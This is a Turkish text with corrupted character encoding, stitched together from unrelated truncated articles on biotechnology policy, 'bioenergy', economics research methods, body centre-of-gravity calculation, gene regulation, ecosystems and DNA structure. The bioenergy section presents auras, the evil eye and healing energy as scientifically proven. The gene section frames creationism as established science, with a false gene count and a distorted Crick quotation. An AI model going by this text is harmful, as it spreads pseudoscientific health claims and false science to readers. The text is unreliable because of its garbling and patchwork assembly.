da “modern biyoteknoloji”, bili�im teknolojisi ile birlikte, 21. y�zyõlda insanlõ�õn refahõnda en
�nemli katkõyõ sa�lamasõ beklenen teknolojilerin ba�õnda gelmektedir.
Geleneksel Biyoteknoloji ile Modern Biyoteknoloji bir �ok a�õdan farklõ alanlar olarak
de�erlendirilmektedir. Geleneksel biyoteknoloji doymu� ve oturmu� bir teknoloji, modern
biyoteknoloji ise; yenilik�ili�e (innovasyon) a�õk, �ok hõzlõ b�y�mesine kar�õn potansiyeli
sõnõrsõz, ancak “molek�ler biyoloji”de yapõlan temel bilim ara�tõrmalarõna ve altyapõsõna sõkõ
sõkõya ba�õmlõ bir teknolojidir.
Modern biyoteknoloji-�zellikle transgenik bitkilerle-�lkelerin geleneksel tarõm
eknomilerini derinden etkileyebilecek bir noktaya gelmi�tir. Modern biyoteknolojinin tõptaki
uygulamalarõ ise, ekonomik verilerle �l��lemeyecek kadar de�erli olan insan sa�lõ�õnõn
korunmasõnda, �nemli katkõlarla b�y�yerek devam etmektedir. Bir ka� yõl i�inde �lke
kapõlarõna dayanmasõ beklenen, ikinci ekonomik �r�n grubu da, transgenik hayvanlar
olacaktõr. Transgenik mikroorganizmalar ise, gerek “h�cre fabrikalarõ” (cell factories) olarak,
gerekse atõk arõtõmõnda, �nemli rol oynayacaktõr.
Modern biyoteknoloji, hayvancõlõkta ve end�striyel �retimde, ekonomik verimlili�i
�ok y�ksek d�zeylere �ekerken, bilim ve teknolojide geri kalmõ� �lkelerde dõ�a ba�õmlõlõ�õ
arttõracaktõr.
Di�er taraftan, modern biyoteknoloji, bilin�siz ve kontrolsuz uygulanmasõ
durumunda, �evrenin korunmasõ ve biyo�e�itlilik a�õlarõndan, bazõ riskler ta�õmaktadõr.
G�zardõ edilemeyecek di�er bir risk de, modern biyoteknolojinin, barõ�cõ olmayan ama�larla,
ekonomik ve askeri sava� aracõ olarak kullanõlmasõdõr. Ayrõca, genetik olarak de�i�tirilmi�
organizmalarõn (GDO) ve GDO �r�nlerinin insan sa�lõ�õ �zerindeki, �zellikle uzun d�nemde,
yaratabilecekleri etkiler konusunda hen�z yeterli bilgi yoktur.
S�z� edilen nedenlerden dolayõ, �lkemizde acil olarak modern biyoteknoloji ile ilgili
“biyog�venlik” �nlemlerinin alõnmasõ, gerekli yasal d�zenlemelerin yapõlmasõ, daha da
�nemlisi, yasalarõn takibi a�õsõndan “kontrol sistemleri”nin devreye sokulmasõ gerekmektedir.
Ancak, modern biyoteknoloji konusundaki tutum ve �nlemler, biyog�venlik konusundaki
yasal d�zenlemelerle sõnõrlõ olmamalõdõr. Yasal d�zenlemelerin takibi i�in gerekli olan kontrol
sistemleri i�in, modern biyoteknolojide uzman olan kadrolarõn ve kontrol laboratuvarlarõnõn
olu�turulmasõ gerekir. Uzun vadede �lke insanlarõnõn refahõ ve ulusal ekonominin geli�mesi
a�õlarõndan, “modern biyoteknoloji” yatõrõmlarõnõn zamanõnda yapõlmasõ da yerinde bir karar
Sekizinci Be� Yõllõk Kalkõnma Planõ Biyoteknoloji ve Biyog�venlik ��K Raporu
http://ekutup.dpt.gov.tr/bilim/oik533.pdf 5
olacaktõr.
Di�er yandan, bazõ toplumlarda ve �lkemizde, modern biyoteknolojinin bazõ
uygulamalarõna kar�õ bazõ olumsuz tepkiler olu�maya ba�lamõ�tõr. Modern biyoteknoloji
�r�nlerine olan bu kar�õ �õkõ�, se�ici bir kar�õ �õkõ�tõr. �rne�in rekombinant DNA teknolojisi
ile �retilen hepatit B a�õsõ ve interferonlar gibi insan sa�lõ�õnõ korumada ve tedavi ama�lõ
olarak kullanõlan GDO �r�nlerine herhangi bir olumsuz tepki g�sterilmezken, aynõ teknoloji
ile �retilen bitkisel kaynaklõ GDO �r�nlerine kar�õ, olumlu tepkilerin yanõnda, olumsuz
tepkiler de g�zlenmektedir.
Bu farklõ tutumun bir �ok nedeni olabilir. Bu nedenlerin ba�õnda bazõ biyoteknoloji
�r�nlerinin �evreye salõnmasõ sonucu olarak, istenmeyen biyolojik sonu�larõn ortaya �õ

B�OENERJ�

9/7/2010

Biyoenerji

Biyoenerjinin kelime anlam�; do�al olan enerjidir. Bilim; insan organizmas�n�n yaln�z molek�llerden olu�an, fiziksel bir yap�ya sahip olmad��, t�m kainatta oldu�u gibi,bir enerji alan�na sahip oldu�unu do�rular.
V�cut i�erisindeki, devaml� bir titre�im ve d��k voltajl� elektromanyetik ak�m vard�r. Elektromanyetik ak�m; fiziksel bedenle s�n�rlanmam��t�r. B�ylece, bir bedenden di�erine ak�� yap�labilir. Bu elektromanyetik ak�m; bedenin sa� taraf�nda toplanm��t�r. Biyoenerji ak�� insanla s�n�rl� de�ildir. T�m maddeye akar. Bitkilerin insanlar�nkine z�t bir kutbu vard�r. Onlarla aram�zda h�r bir kanal a��l�r.
Sa�l�kl� bir v�cutta negatif bir enerji bulunmaz. V�cudun herhangi bir yerinde problem varsa; o b�lge negatif enerji �retmeye ba�lar. Daha do�rusu; beyin ile o b�lgenin ileti�imi kopmu� demektir. Bun nedenle; bedenimizin t�m�n� ayakta tutan beyinin d��nce ve yap�land�rma b�l�m� ile aradaki ba�� kopartmamak gerekir.
Prana; Sanskrit dilinde kelime anlam� ya�am g�c� demek olan, iyi sa�l�k durumunu muhafaza eden ve bedeni canl� tutan g�r�nmez biyoenerji ya da ya�amsal enerjidir.
Japonlar; bu esrarengiz enerjiye K�, �inliler CH�, Yunanl�lar PREVMA, Polonyal�lar MANA, �braniler RUAH derler. Ya�am nefesi anlam�nda pranik �ifac�l�k, �ok �e�itli hastal�klar�n tedavisinde, ya�amsal enerji yada enerji �ifac�l��n�n (ki Prana"n�n kullan�m�d�r) bir �e�ididir.
G�r�nmez Enerji Nedir?
Bilimsel kan�t, biyoenerjinin varl��n� ve fiziksel bedenin iyi ve sa�l�kl� olu�uyla ilgisini anla��l�r �ekilde ispatlar. Se�kin Rus bilim adamlar� taraf�ndan y�netilen bilimsel deneylere dayanarak, Semyon Kirlian; foto�raflad�� insanlar�n, hayvanlar�n ve bitkilerin ultrahassas bir kamera y�ntemiyle fiziksel bedenin etraf�ndaki renkli ��k enerji alan�n� g�stermi�tir. Bu tekni�e Kirlian Foto�raf��l�� ad� verilmektedir. Enerji alan� (Aura) g�r�lebilir fiziksel bedene n�fuz ederek, cilt y�zeyinden yakla��k 8 yada 10 cm yay�l�r. Kirlian foto�raf��l��ndaki deneyler, fiziksel olarak hastal�k ortaya ��kmadan beden enerjisindeki ilk g�r�nen hastal�kl� enerjileri de ortaya ��karm��t�r. Bir ki�inin d��nceleri ve hisleri, beden enerjisini �nemli �l��de etkilemektedir.
Nazar
Din kitaplar�nda,de�i�ik tarzlarda ifade edilen bir negatif enerjidir. Nazar� iki t�rl� incelemek gerekir:
Birincisi: �nsan�n kendi kendine veya �ocu�u gibi �ok yak�n�na hi� bir k�t� ama� ta��madan �retti�i negatif enerji �eklidir. Beyinde s�rekli kodlanan bir kelime mevcuttur: Ma�allah Bu kelime s�ylendi�i anda nazar de�meyece�ine beyin �artland�r�l�rsa veya ba�ka bir deyimle kodlan�rsa, beyin bu kelime s�ylendi�inde negatif enerji �retimini yapmamaktad�r. Ama o Ma�allah kelimesi s�ylenmedi�i anda negatif enerji �retmeye ba�l�yor. Burada �unu belirtmeden ge�emeyece�iz; nazara kesinlikle inanmayan insanlarda bu enerji �retim tarz� harekete ge�meyecektir. Dolay�s�yla b�yle insanlara nazar de�me olas�l�� ok zay�f olacakt�r.
�kincisi: �nsan�n bir ba�kas�na nazar etmesi. Beyin k�skan�l�k duygusu ile hareket etti�inde yine negatif enerji �retimine yol a�ar. Baz� insanlarda bu t�rde k�skan�l�k duygusu �ok y�ksek oldu�undan o insanlar�n nazar� daha �ok de�er. Daha do�rusu yayd�klar� negatif enerji �ok yo�un olur. Bir hayli maddi veya manevi zarar verebilirler. �nsan beyni negatif veya pozitif enerjiyi sadece %50 kadar �retir.
Pozitif Enerji
�nsanda mevcut olan olumlu bir enerjidir. Yaln�z; zaman, zaman bu enerjinin de �ok olmas� �e�itli hastal�klara da yol a�abilir. �rne�in bu insanlar�n v�cutlar�ndaki y�ksek pozitif enerji manyetik kartlar�, pilleri bozmakta bu �ah�slar bu t�rde cihazlar kullanamamaktad�rlar. Bu �ekilde y�ksek pozitif enerjiye sahip olanlar; e�itim alarak �ifac� olarak �al��abilirler veya �zerlerinde mevcut bu y�ksek pozitif enerjiyi atmak zorundad�rlar. Pozitif enerjisi normal d�zeyde olan insanlar; son derece �l�ml� ve kesinlikle hem sa�l�klar� yerinde, hem de etraflar�na ne�e sa�an insanlard�r. Bu insanlar�n, stres problemleri yoktur. Zihinsel olarak ta son derece

STAT�K ANAL�Z, �RETKEN SENTEZ , F�YAT MEKAN�ZMAS� ��Z�M�

9/7/2010

Tarih : 24/10/2000 Dersin Ad�:��letmecilik Ara�t�rma Y�ntemleri.

Kaynak : Cihan Dura, �ktisadi Ara�t�rma Teknikleri, (YL Ders Notlar�), Kayseri, 1995 , 56s.

Soru No : 36 Konu : Statik Analiz , �retken Sentez , Ded�ksiyon , Katl� Regresyon Analizi, Anoloji analiz tekniklerinin tan�mlanmas� ve i�letme biliminden �rnekler.(ss.1-10)

Kaynak Bulma Puan� : (..............) puan

STAT�K ANAL�Z : Bilimsel ara�t�rmada kullan�lan analiz metodlar�ndan biridir. Statik analizde bir b�t�n , belli bir zamandaki durumuna g�re , belli bir bak�� a��s�ndan elemanlar�na ayr�l�r.

�RNEK : A i�letmesi"nin 31.12.1999 Tarihli Bilan�osunda toplam varl�klar�n �u �ekilde finanse edilmi� oldu�u g�r�lm��t�r.

Birinci bak�� a��s�na g�re :
% 40 Yabanc� Kaynak
% 60 �z Kaynak
�kinci bak�� a��s�na g�re :
% 70 KVYK (K�sa Vadeli Yabanc� Kaynak)
% 30 OUVYK (Orta ve Uzun Vadeli Yabanc� Kaynak)

Bu bak�� a��lar�na g�re statik analizden �u sonu�lara ula��labilir :
-Bu firman�n sermaye yap�s� �z kaynak a��rl�kl�d�r. Di�er firmalardan fon sa�layabilmesi kolay olacakt�r.
-Firma bor�lar�n�n b�y�k bir k�sm�n� k�sa vadeli bor�lanm��t�r. K�sa vadede yeniden kaynak aray��na girmesi s�z konusu olabilecektir.

�RETKEN SENTEZ :Bir b�t�n�n par�alar� , yeni bir d�zenleme �ekliyle , bir araya getirilerek farkl� ve yepyeni bir sistem meydana getirilirse bu i�leme "�retken Sentez" denir.

�RNEK : Bir i�letme A : 7-9 ya� , B: 11-13 ya� , C : 17-19 ya� ve D : 21-23 ya� gruplar�na hitap eden d�rt pazarda faaliyet g�sterirken A ve B"yi �ocuklara , C ve D"yi gen�lere y�nelik Pazar olarak kabul ederse �retken sentez yapm�� olur.

DED�KS�YON : �ktisat ve i�letme bilimlerinde herkes taraf�ndan do�rulu�u kabul edilmi� olan hipotezler , kanun veya teoriler vard�r. E�er bu genel bilgiler tekil olgulara uygulan�r ve onlar� izah etmek i�in kullan�l�rsa ; yani teoriden pratik hayata do�ru gidilirse : bu takdirde , ded�ksiyon metodu s�zkonusu olur.

�RNEK : Finansal yap�n�n olu�turulmas�nda k�sa vadeli varl�klar k�sa vadeli fonlarla finanse edilmelidir. Buna g�re e�er bir i�letme k�sa vadeli varl�k sat�n ald�ysa i�letmenin bu varl�� k�sa vadeli fonlarla kar��lam�� oldu�unu ileri s�rebiliriz.

KATLI REGRESYON ANAL�Z� : Bir de�i�kenin birden fazla a��klay�c� de�i�kenle ele al�n�p incelenmesine "Katl� Regresyon Analizi" ad� verilir. B�yle bir durumda katl� s�z konusu olur.
Katl� : Bu lerde birden fazla ba��ms�z de�i�ken vard�r.

�RNEK : Borsa endeksinin y�kselmesi ya da d��mesi yaln�zca h�k�metin istikrar�na ba�l� olarak veya yaln�zca senet sat��lar�n�n art��na ba�l� olarak de�il , her ikisine ba�l� olarak tahmin edilecektir.

ANALOJ� : Anoloji , ortak niteliklerinden dolay� iki olgu veya nesne aras�ndaki benzerlikle ilgilidir. �ki olgunun,baz� y�nlerden, bilinen benzerliklerine dayanarak ; ba�ka y�nlerden de aralar�nda benzerlik olabilece�i sonucuna varmak analoji y�ntemidir.

�RNEK : Hisse senedi ve gelir ortakl�� senedi (GOS) uzun vadeli yat�r�m ara�lar�d�r. �kisi de sermaye pazarlar�nda i�lem g�rmektedirler. Her iki senedinde sahibine �denecek kar pay� �nceden belirlenmemi�tir ( ortak �zellikler ).
Ayr�ca gelir ortakl�� senedi , i�lemi� geliri ile birlikte her an paraya �evrilebilir. O halde hisse senedinin de i�lemi� geliri ile birlikte her an paraya �evrilebilece�ini ileri s�rebiliriz.

Tarih: 13.11.2001Dersin Ad�:Mikroekonomi

Kaynak (yazar ve yap�t): Orhan T�rkay, �ktisat Teorisine Giri�.

Soru No: Soru: "�ktisat Teorisine Giri�" kitab�n�n 27-30. sayfalar�n�n �zeti

Kaynak Bulma Puan�: ......Not: ........

S B � T K Y

F�YAT MEKAN�ZMASI ��Z�M�

�htiya�lara oranla kaynaklar�n k�t olu�u toplumlar� bir se�im yapmaya zorlamaktad�r. Hangi mallar �retilecektir, nas�l �retilecektir ve kimin i�in

SEGMENTASYON Y�NTEM�YLE �K� BOYUTLU G�R�NT� �ZER�NDE A�IRLIK MERKEZ�N�N HESAPLANMASI

9/7/2010

Segmentasyon Y�ntemiyle �ki Boyutlu G�r�nt� �zerinde A��rl�k Merkezinin Hesaplanmas�

�ki boyutlu resim �zerinde a��rl�k merkezinin hesaplanabilmesi i�in �ncelikle v�cuttaki her uzuvun uzunlu�u hesaplanmal�d�r. Bunu hesaplayabilmek i�in bu projede Ganalizi program� ile uzuvlar�n eklem noktalar�n�n koordinatlar� hesaplanm��t�r. A�a��da Tablo 1"de Ganalizi program�ndan elde edilmi� koordinatlar bulunmaktad�r. (Tablodaki koordinat de�erleri pixel de�eri �zerindendir.)

B�LGEX EkseniY Ekseni
FIXED POINT00
R TOE384269
R HEEL379212
R ANKLE360223
R KNEE279186
R HIP220119
R SHOULDER10478
R ELBOW75125
R WRIST4294
L TOE175274
L HEEL223246
L ANKLE201237
L KNEE140184
L HIP207125
L SHOULDER12067
L ELBOW15229
L WRIST1963
CHIN105103
FOREHEAD69103

Tablo 1Eklem noktalar�n�n koordinatlar�

Koordinatlar�n hesaplanmas�n�n ard�ndan da bu koordinatlardan �ye uzunluklar� tespit edilmi�tir. �ye uzunlu�unun hesaplanmas�nda,
__________________
(x2 – x1)2y2 – y1) 2 form�l� kullan�lm�� ve her �ye hesaplanm��t�r.

Hesaplanan �ye uzunluklar�, her �yenin kendi a��rl�k merkezi oranlar�yla �arp�lmas� sonucunda �yenin a��rl�k merkezinin g�z �n�nde bulundurulan ekleme g�re ne kadar uzakta oldu�u tespit edilmi�tir. Bu projede kullan�lan a��rl�k merkezleri oranlar� Clauser ve arkada�lar�n�n (1969) belirtti�i de�erlerdir.
Tespit edilen a��rl�k merkezinin uzuv �zerinde d��t�� noktan�n koordinatlar�n�n tespiti i�in ise do�ru denklemi kullan�lm��t�r. Bu denklemin olu�turulabilmesi i�in �ncelikle uzvun d�zlemle yapt�� "" a��s�n�n bulunmas� gereklidir. Bu a��
arctan _y2 – y1_ form�l�yle bulunmu�tur.
x2 – x1

Ard�ndan da bulunan a��dan ge�en do�ru �zerinde a��rl�k merkezinin d��t�� noktan�n koordinatlar� tespit edilmi�tir.
Bunun i�in de
Xcg = a��rl�k mer. * cos( ) + X1 Ycg = a��rl�k mer. * sin( ) + y1

form�lleri kullan�lm��t�r.
Elde edi

GENLER�N D�ZENLENMES�

9/7/2010

ENLER�N D�ZENLENMES�
Molek�ler biyolojinin en �nemli bulu�lar�ndan biri, baz� genlerin baz�lar� �zerinde daha etkili oldu�unun ke�fedilmesidir. Bunun sebebi, genlerin �ok komplike bir s�ra ile organize olmalar�d�r. Genetik hiyerar�inin temelinde genellikle tekrar eden belirli i�levlerle g�revlendirilmi� genler vard�r: hemoglobin yapmak, sa��n uzamas� veya sindirim enzimlerinin �retilmesi gibi. Bu molek�ler i��ilerin �zerinde "d�zenleyici" genler bulunur, bunlar bu i��i genleri �al��t�r�r ve durdurur. �rne�in, �ocukluk d�neminde hemoglobin geninin �al��mas�n� durdurur. Hem i��ilerin, hem de "orta dereceli y�neticilerin" �zerinde bir seri ana kontrol geni bulunur. Bunlar�n kararlar� d�zinelerce, hatta y�zlerce altbirimi etkiler. Bu genler o kadar hayatidir ki, embriyo d�neminde zarar g�rmeleri �l�mc�l olabilir.
Bu, �zerinde dikkatle d��n�lmesi gereken bir bilgidir. Genler, atomlardan olu�an molek�llerdir. Peki bu molek�ller, aralar�nda b�ylesine d�zenli bir organizasyonu nas�l kurmu�lard�r? Nas�l olup da, bir molek�l bir insan�n art�k boyunun uzamas�n� durdurma karar� al�r, bu karar�n� di�erine iletir, di�eri ise bu karar� nas�l anlay�p, itaat edip, uygulamaya koyar? Bu disiplinin kurucusu kimdir? Dahas�, milyonlarca y�ld�r, trilyonlarca gen, ayn� disiplin, itaat, ak�l ve �uurla g�revini eksiksiz yerine getirmektedir.
B�yle bir sistemin tesad�fen olu�tu�unu iddia etmek, �ok b�y�k bir safsatad�r. Genleri, en ak�lc� ve en kusursuz bi�imde programlayan ��phesiz, her�eyin Rabbi olan Allaht�r.

TESAD�FLERLE A�IKLANAMAYAN DNA
Matematik bug�n DNAda yaz�l� bilgilerin olu�umunda tesad�fe yer olmad��n� kan�tlam��t�r. De�il milyonlarca basamaktan olu�an DNA molek�l�n�n, DNAy� olu�turan 200.000 genden tek bir tanesinin bile tesad�fen olu�abilme ihtimali imkans�z tan�m�n�n dahi zay�f kald�� bir durumdur. Evrimci bir biyolog olan Frank B. Salisbury bu imkans�zl�kla ilgili olarak �unlar� s�ylemi�tir:
Orta b�y�kl�kteki bir protein molek�l�, yakla��k 300 amino asit i�erir. Bunu kontrol eden DNA zincirinde ise, yakla��k 1000 n�kleotid bulunacakt�r. Bir DNA zincirinde d�rt �e�it n�kleotid bulundu�u hat�rlan�rsa, 1000 n�kleotidlik bir dizi, 4 �zeri 1000 farkl� �ekilde olabilecektir. K��k bir logaritma hesab�yla bulunan bu rakam ise, akl�n kavrama s�n�r�n�n �ok �tesindedir.3

Francis Crick ve James Watson DNA"daki ihti�aml� yap�y� ke�federek Nobel �d�l� ald�lar.

Yani ortamda b�t�n gerekli n�kleotidlerin bulundu�unu, bunlar�n aralar�nda ba�lanmas� i�in gereken b�t�n kompleks molek�llerin ve ba�lay�c� enzimlerin hepsinin haz�r oldu�unu farzetsek bile bu n�kleotidlerin istenen s�rada dizilmesi ihtimali 4 �zeri 1000de 1, di�er bir ifadeyle, 10 �zeri 600de 1 ihtimal demektir. K�saca insan v�cudundaki ortalama bir proteinin DNAdaki �ifresinin �ans eseri, kendi kendine olu�ma ihtimali, 10un yan�nda 600 tane s�f�r olan say�da 1dir. Bu astronomik olman�n da �tesindeki say� ise, pratik olarak "0" ihtimal anlam�na gelir. Demek ki b�yle bir dizilim ancak ak�ll� ve �uurlu bir g�c�n bilgi ve kontrol� alt�nda ger�ekle�mek zorundad�r.
�u anda okumakta oldu�unuz yaz�y� d��n�n. Harflerin (her harf i�in farkl� bir bask� kal�b� kullan�larak) kendi kendilerine ve rastgele biraraya gelerek b�yle bir yaz� olu�turduklar�n� iddia eden birisine ne g�zle bakard�n�z? Bu yaz� belli ki ak�l ve bilin� sahibi birisi taraf�ndan kaleme al�nm��t�r. ��te DNAdaki durum da bundan hi� farkl� de�ildir.
DNAn�n yap�s�n� ke�feden biyokimyac� Francis Crick, konu �zerinde yapt�� al��malardan dolay� Nobel �d�l� ald�. Crick koyu bir evrimci olmas�na ra�men DNAn�n mucizevi yap�s�na �ahit olduktan sonra yazd�� eserinde bu bilimsel ger�e�i ��yle ifade etmi�tir: "Bug�n sahip oldu�umuz bilgiler ��nda, d�r�st bir adam�n yapabilece�i tek yorum, hayat�n bir mucize eseri olarak ortaya ��kt��d�r."4 Cricke g�re hayat kesinlikle d�nya �zerinde kendili�inden var olamazd�. G�r�ld�� gibi DNA �zerinde en uzman ki�i bile, bir evrimci olmas�na ra�men, yarat�l��ta tesad�fe yer vermemektedir.

�nsanda h�crelerindeki 46 kromozom 23 �ift halinde bulunur. Her �ift kromozom v�cuttaki belirli faaliyetlerin yerine getirmesinden sorumludur. Bu kromozom �iftlerindeki herhangi bir bozukluk onar�lmaz hasarlar meydana getirir.

DNAda yer alan bilgilerin ne kadar hassas bir d�zen ve dengeye sahip olduklar� g�z�n�nde bulunduruldu�unda ise, tesad�fen olu�umun ne kadar imkans�z oldu�u daha da iyi anla��l�r. �� milyar harften olu�an DNAdaki bilgiler, A-T-G-C harflerinin

ATOM

9/7/2010

EKOS�STEM

TANIMLAR: Ekoloji, bug�n �ok say�da bilim dal�n�n �ekirde�ini olu�turmaktad�r. �evre �artlar� i�inde tek bir canl�n�n incelenmesine "otekoloji", farkl� canl� t�rlerinin olu�turdu�u topluluklar�n incelenmesine "sinekoloji " denmektedir.

1935 y�l�ndan itibaren, bir b�lgede bulunan b�t�n canl�lar ve bunlar�n cans�z �evrelerini ifade etmek i�in "Ekosistem" kelimesi kullan�lmaya ba�lanm��t�r. �evre ve sistem kelimelerinin birle�tirilmesiyle olu�turulan ekosistem kelimesinin a��k bir ifadesi olarak yer k�reden bahsetmek gerekir. Ger�ekte yer k�re en b�y�k bir ekosistemi olu�turmaktad�r. Ekosistem i�inde daha k��k boyutlu ekosistemlerde bulunmaktad�r. Orman, da�, ova, �ay�r, hububat, do�al hayvanlar�n her biri ayr� ayr� ekosistemi olu�turmaktad�r.

Ekosistemi olu�turan ��eler, ba�l�ca d�rt gurupta toplan�r.

1-Cans�z varl�klar. (inorganik ve organik maddeler)
2-Primer �reticiler. (ye�il bitkiler)
3-T�keticiler (bitkisel ve hayvansal maddeleri yiyenler)
4-Ayr��t�c�lar (bakteri ve mantarlar)

Ekosistem i�indeki do�al dengeye "ekosistem dengesi" denir. Do�al denge bozuldu�unda, ekosistem dengesi bozulur ve ekolojik sorunlar ortaya ��kar. Mevcut ekosistemin bozulup ortadan kalkmas� ve daha sonra bozulan bu ekosistemin yerine yeni bir ekosistemin olmas� olay�na s�kseyon (yerine alma) denir. Yer k�re i�inde en fazla ekosistem dengesini bozan en etkili canl�, ��pesiz ki insand�r. �nsan n�fusu ve faaliyetleri artt�k�a ekosistem dengesi bozulmaktad�r. �nsanlar d��nda bitkiler veya hayvanlarda ekosistem dengesini bozabilirler. Tar�m b�lgesinde ku� t�rlerinin a��r� �o�almas�, hububat �retimini olumsuz etkiler. Yine ku� t�rlerinin a��r� oranda azalmas� da, ku�larla beslenen zararl� b�ceklerin �o�almas�na yol a�ar. Ancak, t�m bu geli�melerde insan�n katk�s� �ok b�y�kt�r. Ger�ekte insan�n olmad�� do�al bir ortamda, ekosistem dengesi pek fazla bozulmaz.

H�crenin, organizmalar�n temel ��esi olmak gibi, ekosistemlerde do�al ortam�n birimlerini olu�turur. Her ekosistem, biyosenoz ad� verilen bir canl�lar toplulu�undan olu�ur; bunlar, �evrenin ve bu �evrede h�k�m s�ren ko�ullar�n nispi homojenli�iyle belirgin, biyotop ad� verilen bir alanda ya�ar. Bir biyosenoz i�inde �� b�y�k kategori

../..

-2-

s�z konusudur. �nce besin zincirinin temelini olu�turan birincil �reticiler (klorofilli ye�il bitkiler); sonra birinci basamaktan (ot�ul hayvanlar), ve ikinci basamaktan t�keticiler (et�il hayvanlar),ve nihayet minarele�tiriciler (bakteriler, mantarlar) Ekosistemin �al��mas� bir madde ve besin zincirleri (beslenme zincirleri de denir.) aras�ndan, s�rekli enerji ak��yla kendini belli eder.

Ekosistemler bir �ok d�zeye g�re ele al�nabilir. Biyomlar b�y�k biyocografi b�lgelere (tropikal orman, tudra, savan vb) tekab�l eder. Bir alt d�zeyde, ekosistemler manzaran�n bir tak�m parsellerinin (bir bu�day tarlas�, bir ormanl�k kesim vb) temsil eder. Daha da alt bir d�zeyde, mikroekosistemler (bir k�y� kayal��, bir kara yosun toplulu�u vb.) gelir.

Ekolojinin temel ve ayn� zamanda tan�mlanmas� en zor kavramlar�ndan biri, bir t�r�n ekolojik ortam� kavram�d�r; bu, s�z konusu olan t�r�n fizyolojik ihtiya�lar�na, ya�am bi�imine ve uyum sa�lama niteliklerin ba�l� �e�itli parametrelerle belirlenir. B�ylece ekolojik ortam, basit bir bar�nak kavram�n�n �tesinde, t�r�n ekosistemdeki rol�n� yerini belirler.

EKOS�STEMLER�N BOYUTLARI

Gezegen �l�e�inde, yerk�renin b�t�n canl� varl�klar� i�eren d�� katman� olan biyosfer, en y�ksek t�mle�me d�zeyini temsil eder. Bir ilk b�lgesel ay�r�m biyomlar� betimlenmeye imkan verir. Bunlar, ger�ek karasal makro ekosistemler diyebilece�imiz biyocografi ve iklimsel b�lgelere denk d��er. (Tudra, tayga, �l�man iklim orman�, s�cak ��ller, savan tropikal orman vb)

Daha k��k b�l�mlere ay�rma, daha �l��l� boydaki ekosistemleri belirler. Bir tak�m basit fizyonomik �l��tler, her biri bir ekosistem olu�turuyormu��as�na, herhangi bir arazinin, bir batakl��n, bir orman�n veya bir �ay�r�n sezgisel ol

DNANIN F�Z�KSEL YAPISI

9/7/2010

DNA"NIN F�Z�KSEL YAPISI

DNA"n�n monomerik bile�enleri A, T, C, G bazlar�n� i�eren d�rt tane deoksiribon�kleotiddir. Bu 4 ana baz�n d��nda baz� DNA"larda de�i�ikli�e u�ram�� birka� farkl� baz da bulunabilir. Bunlar; metillenmi� bazlar, s�lf�r i�eren bazlar ve anormal bir baz - �eker ba�� olu�turan bazlard�r. Bunlar DNA"da kimyasal de�i�ikli�e neden olabilir. DNA"da metil grubunun eklenmesi en yo�un �ekilde sitozinlerde meydana gelir. Sitozinin 5´ numaral� karbonuna bir metil grubunun ba�lanmas�yla 5 - metilsitozin meydana gelir. 5 - metilsitozin �zellikle bu�day tohumu DNA"s�nda bol miktarda bulunur (tablo - 1). Bununla birlikte T2, T4 ve T6 fajlar�nda 5 - hidroksi - metilsitozin tamamen sitozinin yerini alm�� durumdad�r. Ayr�ca ilgin� bir �rnekte PBS 1 bakteriyofaj�nda g�r�l�r. Bilindi�i gibi urasil baz� sadece RNA molek�l�nde bulunur. Fakat bu bakteriyofajda timin bazlar�n�n yerini urasil bazlar� alm��t�r.
Adenin ve guanin bazlar� �ift halkal� yap�dad�r. Bu iki baza p�rin bazlar� denir. Sitozin ve timin bazlar� ise tek halkal� yap�dad�r. Bunlara ise pirimidin bazlar� denir. Dolay�s�yla adenin ve guanin bazlar�n�n molek�ler a��rl�klar� (A=135.13 dalton, G=151.13 dalton), sitozin ve timin bazlar�n�n molek�ler a��rl�klar�ndan (C=111.10 dalton, T=126.12) daha fazlad�r. E�er bir DNA molek�l�nde iki iplik�ikten hangisi A ve G ce zengin ise bu zincire a��r zincir di�erine ise hafif zincir denir.
Gerek p�rin gerekse pirimidin bazlar� birka� tane �ift ba� i�erirler. �ift ba�lar her zaman tek ba�lara g�re daha karars�z olduklar�ndan, �ifte ba� ta��yan molek�ller, H atomlar�n�n belli bir serbestli�e sahip olabilmesi i�in, farkl� kimyasal bi�imlerde bulunabilme �zelli�ine yetene�ine sahiptir. Bir H atomu bir N halkas�ndan veya O atomundan bir di�erine hareket edebilir. �rne�in bir amino (NH2) grubundan ayr�larak bir imino (NH) grubu olu�umuna yol a�abilir. B�yle kimyasal dalgalanmalara tautomerik de�i�im ve bu �ekilde meydana gelen farkl� molek�ler yap�lara da tautomer ad� verilir. Fizyolojik ko�ullarda, p�rin ve pirimidin halkalar�na N atomlar� genellikle amino (NH2) bi�iminde, guanin ve timinin C atomlar�na ba�l� O atomlarda genellikle keto (CO) bi�imindedir. Bazlar�n genelde belli taumerik bi�imlerde bulunmas� genetik materyalin kararl�l�� a��s�ndan �nemlidir.

Bazlar�n Molar Oranlar�:
Bazlar�n molar oranlar� hidroliziz ve kromatografi y�ntemleri ile belirlenebilir. Farkl� t�rler aras�nda baz oranlar� b�y�k de�i�iklikler g�stermesine ra�men, ayn� t�r�n farkl� organ ve dokular� aras�nda benzer oranlara rastlanmaktad�r (tablo - 1).

DNA kayna��AGCT5-metil - C
Bo�a timusu28.221.521.227.81.3
Bo�a dala��27.922.720.827.31.3
Bo�a spermi28.722.220.727.21.3
S��an kemik ili�i28.621.420.428.41.1
Bu�day tohumu27.322.716.827.16.0
Maya31.318.717.132.9-
E. coli 26.024.925.223.9-
M. tuberculosis15.134.935.414.6-
ØX 17424.324.518.232.3-

Tablo 1 : �e�itli kaynaklardan elde edilen DNA"lardaki baz oranlar�.

Bir DNA molek�l�nde p�rinlerin toplam� pirimidinlerin toplam�na e�it oldu�u gibi amino bazlar�n toplam� da (A ve C) keto (okso) bazlar�n (G ve T) toplam�na e�ittir. A ve T e�it molar miktarda bulunur. Dolay�s�yla G ve C de e�it molar miktarda bulunur. Bu e�itlikler DNA heliksinin formasyonu hakk�nda en �nemli verilerdendir ve bu Chargaff"�n kural� olarak ifade edilir. Bu kanunu A + G / T +C = 1 �eklinde de ifade edilir. Bununla birlikte G + C / A + T 1"e e�it de�ildir. Bu oran �e�itli t�rlerde �l��lm�� ve de�erlerin 0.45 ile 2.80 aras�nda de�i�ti�i g�sterilmi�tir. �rne�in bir�ok bakteriyofajda bu oran 0.5 dir. Y�ksek bitkilerde ve hayvanlarda bu oran�n de�i�im s�n�rlar� daha dard�r ve genel olarak 0.55 - 0.93 aras�nda bulunur.
Chargaff kural�n�n iki �nemli istisnas� vard�r. Birincisi bu�day tohumu DNA"s�nda G ve C e�it miktarda de�ildir. ��nk� bu�day tohumunda bol miktarda bulunan 5 - metilsitozin bir�ok sitozinin yerini

